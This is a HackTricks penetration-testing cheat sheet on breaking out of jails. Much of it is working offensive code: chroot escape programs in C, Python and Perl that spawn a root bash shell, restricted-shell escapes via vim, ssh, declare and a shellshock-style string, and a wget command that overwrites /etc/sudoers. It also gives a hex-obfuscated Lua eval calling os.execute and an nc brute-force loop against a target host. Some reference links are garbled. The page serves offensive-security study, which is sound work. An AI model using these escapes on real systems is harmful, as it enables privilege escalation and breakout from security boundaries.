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# **GTFOBins**
**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property**
# Chroot limitation
From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.
Therefore, if you are **root** inside a chroot you **can escape** creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:
{% code title="break_chroot.c" %}
```c
#include
#include
#include
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
```
{% endcode %}
Using **python**:
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
```
Using **perl**:
```perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
```
# Bash Jails
## Enumeration
Get info about the jail:
```bash
echo $SHELL
echo $PATH
env
export
pwd
```
## Modify PATH
Check if you can modify the PATH env variable
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```
## Using vim
```bash
:set shell=/bin/sh
:shell
```
## Create script
Check if you can create an executable file with _/bin/bash_ as content
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
## Get bash from SSH
If you are accessing via ssh you can use this trick to execute a bash shell:
```bash
ssh -t user@ bash # Get directly an interactive shell
ssh user@ -t "bash --noprofile -i"
ssh user@ -t "() { :; }; sh -i "
```
## Declare
```bash
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
```
## Wget
You can overwrite for example sudoers file
```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```
## Other tricks
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io/**]\(https/gtfobins.github.io)\
**It could also be interesting the page:**
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
# Python Jails
Tricks about escaping from python jails in the following page:
{% content-ref url="../../misc/basic-python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/)
{% endcontent-ref %}
# Lua Jails
In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
**Eval** with command execution**:**
```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```
Some tricks to **call functions of a library without using dots**:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
Enumerate functions of a library:
```bash
for k,v in pairs(string) do print(k,v) end
```
Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:
```bash
debug.debug()
```
Support HackTricks and get benefits!
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**